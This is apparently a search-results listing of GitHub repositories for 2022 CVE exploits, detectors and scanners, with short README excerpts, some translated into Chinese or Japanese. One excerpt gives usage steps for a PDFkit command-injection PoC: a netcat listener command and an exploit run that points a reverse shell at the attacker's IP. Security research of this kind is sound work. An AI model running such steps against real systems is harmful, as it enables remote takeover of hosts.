140314 matches found
LetsDefend-SOC173-Follina-0-Day-Detected
LetsDefend-SOC173-Follina-0-Day-Detected We are presented with a security alert indicating the detection of the Follina CVE-2022-30190 vulnerability. A malicious Word document triggered msdt.exe execution, suggesting possible remote code execution on the host JonasPRD. Our task is to investigate...
CVE-2022-29361_Werkzeug_Client-Side-Desync-to-XSS
致谢 @kevin-mizu https://github.com/kevin-mizu/Werkzeug-CVE-2022-29361-PoC/tree/main 详情请阅读： https://mizu.re/post/abusing-client-side-desync-on-werkzeug 已在基于 Debian trixie/sid 构建、运行于 Debian kali-rolling 的 Chromium 119.0.6045.123 上测试。...
Debugging_Dirty_Pipe_CVE-2022-0847
此存储库没有 README。...
CVE-2022-32862
このリポジトリには README がありません。...
CVE-2022-1015
Meungmeung is a fool...
exploit-CVE-2022-0482
Easy!Appointments PII disclosure Easy!Appointments --debug exploit.rb -h | --help Options: Root URL base path including HTTP scheme, port and root folder All events since default: 2015-01-11 All events until default: today --debug Display arguments -h, --help Show this screen Examples: exploit.rb...
burp-text4shell
用于 Burp Suite 的 Text4Shell 扫描器 详细说明请参阅我们关于此插件的博客文章。 关于检测能力的说明：该插件只会为内置的主动扫描器提供有效载荷，因此，要获得最佳的覆盖率与性能平衡，您必须正确配置扫描——这与任何其他内置或扩展提供的扫描并无不同。 单问题扫描 如果您只想扫描 CVE-2022-42889（而不扫描 XSS 或 SQLi 等其他内容），该插件即可实现。 按照以下说明操作后，只要使用由此生成的扫描配置，扫描器就只会在所有插入点上执行 Text4Shell 检查。 1. 创建新扫描时，在 Scan configuration 选项卡上点击 Select fr...
text4shell-tools
commons-text-tools 快速链接 点击查找： 查找 commons-text .jar 文件及其版本 对 commons-text 漏洞函数的调用 对 commons-text .jar 文件进行热补丁以禁用危险行为 扫描与修补示例 概述 CVE-2022-42889 可能对广泛的基于 Java 的应用程序构成严重威胁。开发人员在此时可能会提出的重要问题包括： 1. 我的代码是否包含 commons-text？是哪些版本？ 发布的代码是否包含 commons-text？其中包含哪个版本的库？由于两个因素，回答这些问题可能并不直接： 1. 传递性依赖：虽然...
de4dot
Description de4dot is an open source GPLv3 .NET deobfuscator and unpacker written in C. It will try its best to restore a packed and obfuscated assembly to almost the original assembly. Most of the obfuscation can be completely restored eg. string encryption, but symbol renaming is impossible to...
hexacon2022_AppleAVD
此存储库没有 README。...
angularjs-poc-cve-2022-25869
关于 这是一个针对影响 Internet Explorer 的 AngularJS XSS 漏洞的最小概念验证（CVE-2022-25869）。 你可以在 https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869 查看在线演示。...
Joomla-CVE-Detector-CVE-2022-27913-
Joomla-CVE-Detector-CVE-2022-27913- 识别受CVE-2022-27913影响的Joomla实例。...
CVE-2022-25765
CVE-2022-25765 漏洞利用 针对 CVE-2022-25765（PDFkit 命令注入）的小型 PoC 漏洞利用 使用方法 1. 在攻击机器上启动 netcat 监听器： root@kitploit: nc -lvnp 4444 2. 运行漏洞利用程序： root@kitploit: python cve-2022-25765.py -t http://目标IP:端口 -l 你的IP -p 你的端口 示例： root@kitploit: python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 44...
CVE-2022-26134
CVE-2022-26134...
CVE-2022-29170
此存储库没有 README。...
CVE-2022-1040
CVE-2022-1040...
CVE-2022-29007
CVE-2022-29007...
CVE-2022-29005
CVE-2022-29005...